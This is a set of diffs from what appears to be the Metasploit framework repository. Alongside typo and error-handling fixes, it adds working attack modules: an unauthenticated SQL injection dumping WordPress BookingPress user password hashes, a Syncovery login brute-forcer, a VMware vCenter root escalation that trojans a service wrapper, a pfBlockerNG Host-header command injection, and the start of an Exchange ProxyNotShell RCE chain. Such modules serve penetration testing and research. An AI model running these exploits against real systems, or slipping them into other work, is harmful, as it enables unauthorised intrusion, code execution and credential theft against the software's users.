# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
# characters: there's more chance that the the program will run off the stack.
# characters: there's more chance that the program will run off the stack.
sploit += ' '*(1500-sploit.length)
+1 -1
View File
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module dependent on the given filename extension creates either
a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference
to the the specified remote host, causing SMB connections to be initiated
to the specified remote host, causing SMB connections to be initiated
from any user that views the file.
},
'License' => MSF_LICENSE,
@@ -50,6 +50,13 @@ class MetasploitModule < Msf::Auxiliary
CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT = 'a05b8cc2-17bc-4802-a710-e7c15ab866a2'.freeze
CONTROL_ACCESS = 0x00000100
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze
OWNER_SECURITY_INFORMATION = 0x1
GROUP_SECURITY_INFORMATION = 0x2
DACL_SECURITY_INFORMATION = 0x4
SACL_SECURITY_INFORMATION = 0x8
def parse_dacl_or_sacl(acl)
flag_allowed_to_enroll = false
allowed_sids = []
@@ -119,7 +126,25 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}")
end
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes)
# Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but
# the SACL flag is set, as we need administrative privileges to retrieve
# the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.
#
# Note that without specifying the LDAP_SERVER_SD_FLAGS_OID control in this manner,
# the LDAP searchRequest will default to trying to grab all possible attributes of
# the ntSecurityDescriptor attribute, hence resulting in an attempt to retrieve the
# SACL even if the user is not an administrative user.
#
# Now one may think that we would just get the rest of the data without the SACL field,
# however in reality LDAP will cause that attribute to just be blanked out if a part of it
# cannot be retrieved, so we just will get nothing for the ntSecurityDescriptor attribute
# in these cases if the user doesn't have permissions to read the SACL.
all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber
controls = []
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
query_result = ldap.as_json['result']['ldap_result']
validate_query_result!(query_result, filter)
+1 -1
View File
@@ -328,7 +328,7 @@ class MetasploitModule < Msf::Auxiliary
modified = true
elsif attribute_properties[attribute_name][:attributesyntax] == '2.5.5.10' # OctetString
if attribute_name.to_s.match(/guid$/i)
# Get the the entry[attribute_name] object will be an array containing a single string entry,
# Get the entry[attribute_name] object will be an array containing a single string entry,
# so reach in and extract that string, which will contain binary data.
bin_guid = entry[attribute_name][0]
if bin_guid.length == 16 # Length of binary data in bytes since this is what .length uses. In bits its 128 bits.
@@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
prepend Msf::Exploit::Remote::AutoCheck
NONCE_NOT_FOUND_ERROR_MSG = 'Unable to get wp-nonce as an unauthenticated user'.freeze
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress BookingPress bookingpress_front_get_category_services SQLi',
'Description' => %q{
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
data from the backend database such as usernames and password hashes.
This module uses this vulnerability to dump the list of WordPress users and their associated
email addresses and password hashes for cracking offline.
},
'Author' => [
'cydave', # Of cyllective. Discovery of bug.
'destr4ct', # PoC Code for exploiting the bug.
'jheysel-r7' # Metasploit module
],
'References' => [
[ 'URL', 'https://github.com/destr4ct/CVE-2022-0739'],
[ 'WPVDB', '388cd42d-b61a-42a4-8604-99b812db2357'],
[ 'CVE', '2022-0739']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-02-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The URL of the BookingPress appointment booking page', '/bookingpress/' ])
])
end
def check
@nonce = get_user_nonce
return Exploit::CheckCode::Unknown(NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG
@sqli = get_sqli_object
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
Exploit::CheckCode::Safe
end
def generate_vars_post(sqli)
{
'action' => 'bookingpress_front_get_category_services', # Vulnerable AJAX action
'_wpnonce' => @nonce,
'category_id' => 1,
'total_service' => "#{rand(100..10000)}#{sqli}"
}
end
def get_sqli_object
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/wp-admin/admin-ajax.php'),
'vars_post' =>
generate_vars_post(") UNION ALL SELECT (#{payload}),456,789,12,34,56,78,90,77 from wp_users-- -")
})
if res && res.code == 200
json_doc = res.get_json_document
if json_doc.blank? || json_doc[0].blank?
print_error('Could not parse the JSON response returned from the SQLi attempt!')
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
end
json_parsed_doc = json_doc[0]['bookingpress_service_id']
if json_parsed_doc.blank?
print_error('Was able to parse the JSON response but no bookingpress_service_id field was found!')
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
end
json_parsed_doc
elsif res
print_error("Unexpected response code encountered when conducting the SQLi attempt: #{res.code}")
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
else
print_error('No response from SQLi attempt')
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
end
end
end
def get_user_nonce
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'])
})
return NONCE_NOT_FOUND_ERROR_MSG unless res&.body&.match("_wpnonce:'(\\w+)'\\s*};")
::Regexp.last_match(1)
end
def run
@nonce ||= get_user_nonce
fail_with(Failure::UnexpectedReply, NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG
@sqli ||= get_sqli_object
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
creds_table = Rex::Text::Table.new(
'Header' => 'Wordpress User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Email', 'Hash']
)
print_status('Extracting credential information')
users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
users.each do |(username, email, hash)|
creds_table << [username, email, hash]
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: hash,
service_name: 'WordPress BookingPress Plugin',
address: datastore['RHOSTS'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED,
email: email
})
end
print_line creds_table.to_s
end
end
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
if result
print_good("#{ip}:#{rport} - Vulnerable to CVE-2013-3619 (Static SSL Certificate)")
# Report with the the SSL Private Key hash for the host
# Report with the SSL Private Key hash for the host
digest = OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":")
report_note(
:host => ip,
@@ -0,0 +1,149 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/login_scanner/syncovery_file_sync_backup'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Syncovery For Linux Web-GUI Login Utility',
'Description' => 'This module will attempt to authenticate to Syncovery File Sync & Backup Software For Linux Web-GUI.',
'Author' => [ 'Jan Rude' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'DefaultOptions' => {
'RPORT' => 8999,
'USERNAME' => 'default',
'PASSWORD' => 'pass',
'STOP_ON_SUCCESS' => true # There is only one user
}
)
)
register_options(
[
Opt::RPORT(8999), # Default is HTTP: 8999; HTTPS: 8943
OptString.new('USERNAME', [true, 'The username to Syncovery (default: default)', 'default']),
OptString.new('PASSWORD', [false, 'The password to Syncovery (default: pass)', 'pass']),
OptString.new('TARGETURI', [false, 'The path to Syncovery', '/'])
]
)
deregister_options('PASSWORD_SPRAY')
end
def scanner(ip)
@scanner ||= lambda {
cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)
return Metasploit::Framework::LoginScanner::SyncoveryFileSyncBackup.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
uri: datastore['TARGETURI'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
)
)
}.call
end
def report_good_cred(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: result.status,
proof: result.proof
}.merge(service_data)
create_credential_login(login_data)
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
# Attempts to login
def bruteforce(ip)
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")
report_good_cred(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(level: :verror, ip: ip, msg: result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
# Start here
def run_host(ip)
if scanner(ip).check_setup
vprint_brute(level: :good, ip: ip, msg: 'Syncovery File Sync & Backup Software confirmed')
else
print_brute(level: :error, ip: ip, msg: 'Target is not Syncovery File Sync & Backup Software')
return
end
version = scanner(ip).get_version
if !version
vprint_brute(level: :error, ip: ip, msg: 'Unknown version')
else
vprint_brute(level: :good, ip: ip, msg: "Identified version: #{version}")
end
bruteforce(ip)
end
end
@@ -91,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary
return
end
if res.code != 401
vprint_error("http://#{rhost}:#{rport} - Authorization not requested")
vprint_error("http://#{rhost}:#{rport}#{uri} - Authorization not requested")
return
end
@@ -865,6 +865,8 @@ class MetasploitModule < Msf::Auxiliary
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
@@ -49,6 +49,8 @@ class MetasploitModule < Msf::Auxiliary
)
end
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
rescue ::Interrupt
raise $!
@@ -65,6 +65,8 @@ class MetasploitModule < Msf::Auxiliary
type: 'snmp.users',
data: users
)
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
# too noisy for a scanner
ensure
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{
This module provides a Rex based DNS service which can store static entries,
resolve names over pivots, and serve DNS requests across routed session comms.
DNS tunnels can operate across the the Rex switchboard, and DNS other modules
DNS tunnels can operate across the Rex switchboard, and DNS other modules
can use this as a template. Setting static records via hostfile allows for DNS
spoofing attacks without direct traffic manipulation at the handlers. handlers
for requests and responses provided here mimic the internal Rex functionality,
+1 -1
View File
@@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def on_new_session(_session)
print_status 'Cleaning up the the scheduler...'
print_status 'Cleaning up the scheduler...'
# Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling
# the scheduler without any parameter:) It will leave the only command name in the config file.
@@ -163,23 +163,30 @@ class MetasploitModule < Msf::Exploit::Remote
# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
# We flip this once we trigger the payload
keep_sending = true
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_filename)
)
# Once we've triggered the payload, stop trying to
if keep_sending
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
# Break when the file successfully appears
if res.code == 200
print_good('Successfully triggered the payload')
# This should break when we get to session_created?
# Break when the file successfully appears
if res.code == 200
print_good('Successfully triggered the payload')
keep_sending = false
next
end
end
Rex::ThreadSafe.sleep(interval)
@@ -125,6 +125,31 @@ class MetasploitModule < Msf::Exploit::Remote
target_filename = generate_target_filename
print_status("Target filename: #{target_filename}")
# Sanity check - the file shouldn't exist, but we should be able to do requests to the server
if datastore['TRIGGER_PAYLOAD']
# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
fail_with(Failure::Unknown, 'Could not determine the public web path')
end
print_status('Checking the HTTP connection to the target')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
end
# Break when the file successfully appears
unless res.code == 404
fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
end
end
begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
rescue StandardError => e
@@ -138,14 +163,6 @@ class MetasploitModule < Msf::Exploit::Remote
# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']
# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
print_warning('Could not determine the public web path, disabling payload triggering')
return
end
register_file_for_cleanup(target_filename)
interval = datastore['CheckInterval'].to_i
@@ -154,23 +171,30 @@ class MetasploitModule < Msf::Exploit::Remote
# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
# We flip this once we trigger the payload
keep_sending = true
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)
# Once we've triggered the payload, stop trying to
if keep_sending
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
# Break when the file successfully appears
if res.code == 200
print_good('Successfully triggered the payload')
break
# Break when the file successfully appears
if res.code == 200
print_good('Successfully triggered the payload')
keep_sending = false
next
end
end
Rex::ThreadSafe.sleep(interval)
@@ -310,7 +310,7 @@ class MetasploitModule < Msf::Exploit::Local
echo \"success\";
break;
fi;
done;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end
@@ -361,7 +361,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def execute_payload(fname)
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -Sb #{fname}\"")
end
def exploit
@@ -402,4 +402,13 @@ class MetasploitModule < Msf::Exploit::Local
print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
end
end
def on_new_session(client)
# Because we deleted the user directory, a meterp shell will be unusable until we chdir somewhere that exists
# So let's just use the WritableDir that must exist, given its use earlier
if !session.nil? && (client.type == 'meterpreter')
client.core.use('stdapi')
client.fs.dir.chdir(datastore['WritableDir'])
end
end
end
@@ -81,7 +81,11 @@ class MetasploitModule < Msf::Exploit::Local
# https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh#L7
binary = cmd_exec('find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1')
vprint_good("Found SUID binary: #{enlightenment_sys}") unless binary.nil?
if binary.blank?
vprint_bad('Unable to locate enlightenment_sys')
return nil
end
vprint_good("Found SUID binary: #{enlightenment_sys}")
return binary
end
end
@@ -0,0 +1,134 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter vScalation Priv Esc',
'Description' => %q{
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
/usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the
cis group to write to the file, which will execute as root on vmware-vmon service
restart or host reboot.
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
The following versions should be vulnerable:
vCenter 7.0 before U2c
vCenter 6.7 before U3o
vCenter 6.5 before U3q
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Yuval Lazar' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],
[ 'CVE', '2021-22015' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]
],
'DisclosureDate' => '2021-09-21',
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 1800 # 30min
},
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],
'AKA' => ['vScalation']
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def java_wrapper_vmon
'/usr/lib/vmware-vmon/java-wrapper-vmon'
end
def check
group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"")
if writable?(java_wrapper_vmon) && group_owner == 'cis'
return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group")
end
CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable")
end
def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# backup the original file
@backup = read_file(java_wrapper_vmon)
path = store_loot(
'java-wrapper-vmon.text',
'text/plain',
rhost,
@backup,
'java-wrapper-vmon.text'
)
print_good("Original #{java_wrapper_vmon} backed up to #{path}")
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
print_status("Writing payload to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
register_files_for_cleanup payload_path
# write trojaned file
# we want to write our payload towards the top to ensure it gets run
# writing it at the bottom of the file results in the payload not being run
print_status("Writing trojaned #{java_wrapper_vmon}")
write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n"))
# try to restart the service
print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)')
service_restart = cmd_exec('systemctl restart vmware-vmon.service')
# one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files
if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed')
print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.')
end
print_status("Waiting #{datastore['WfsDelay']} seconds for shell")
end
def cleanup
unless @backup.nil?
print_status("Replacing trojaned #{java_wrapper_vmon} with original")
write_file(java_wrapper_vmon, @backup)
end
super
end
end
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_options([
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])
OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])
])
end
@@ -106,16 +106,37 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
upload_shell
check_resp = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/#{@webshell_name}"),
'vars_post' => {
@parameter_name.to_s => 'id'
test_file_name = Rex::Text.rand_text_alpha(4..12)
test_file_content = Rex::Text.rand_text_alpha(4..12)
test_injection = <<~EOF
<?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
EOF
encoded_php = test_injection.unpack('H*')[0].upcase
send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
}
)
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || check_resp.body.nil? || !check_resp.body.include?('uid=0(root) gid=0(wheel)')
sleep datastore['WfsDelay']
check_resp = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
)
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)
# Clean up test webshell "/usr/local/www/#{test_file_name}"
clean_up_injection = <<~EOF
<?php echo unlink('/usr/local/www/#{test_file_name}');
EOF
encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
}
)
Exploit::CheckCode::Vulnerable
end
@@ -133,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
upload_shell unless datastore['AutoCheck']
upload_shell
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an
executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.
Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs.
Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
Making matters worse is if the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.
This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.
},
@@ -67,9 +67,6 @@ class MetasploitModule < Msf::Exploit::Remote
[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' => {
},
'Privileged' => false,
'DisclosureDate' => '2017-07-20',
'DefaultOptions' => { 'WfsDelay' => 5 },
@@ -304,7 +301,7 @@ class MetasploitModule < Msf::Exploit::Remote
test_passphrases
# If no working passphrase has been found,
# wait to allow the the chance for the last one to callback.
# wait to allow the chance for the last one to callback.
if @passphrase.empty? && !@dry_run
sleep(wfs_delay)
end
@@ -0,0 +1,236 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Exchange
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyNotShell RCE',
'Description' => %q{
This module chains two vulnerabilities on Microsoft Exchange Server
that, when combined, allow an authenticated attacker to interact with
the Exchange Powershell backend (CVE-2022-41040), where a
deserialization flaw can be leveraged to obtain code execution
(CVE-2022-41082). This exploit only support Exchange Server 2019.
These vulnerabilities were patched in November 2022.
},
'Author' => [
'Orange Tsai', # Discovery of ProxyShell SSRF
'Spencer McIntyre', # Metasploit module
'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis
'Piotr Bazydło', # Vulnerability analysis
'Rich Warren', # EEMS bypass via ProxyNotRelay
'Soroush Dalili' # EEMS bypass
],
'References' => [
[ 'CVE', '2022-41040' ], # ssrf
[ 'CVE', '2022-41082' ], # rce
[ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],
[ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],
[ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],
[ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]
],
'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => ['windows'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Windows Dropper',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_dropper
}
],
[
'Windows Command',
{
'Platform' => 'windows',
'Arch' => [ARCH_CMD],
'Type' => :windows_command
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'AKA' => ['ProxyNotShell'],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])
])
register_advanced_options([
OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])
])
end
def check
@ssrf_email ||= Faker::Internet.email
res = send_http('GET', '/mapi/nspi/')
return CheckCode::Unknown if res.nil?
return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'
# actually run the powershell cmdlet and see if it works, this will fail if:
# * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN)
# * the exchange emergency mitigation service M1 rule is in place
return CheckCode::Safe unless execute_powershell('Get-Mailbox')
CheckCode::Vulnerable
rescue Msf::Exploit::Failed => e
CheckCode::Safe(e.to_s)
end
def ibm037(string)
string.encode('IBM037').force_encoding('ASCII-8BIT')
end
def send_http(method, uri, opts = {})
opts[:authentication] = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'preferred_auth' => 'NTLM'
}
if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'
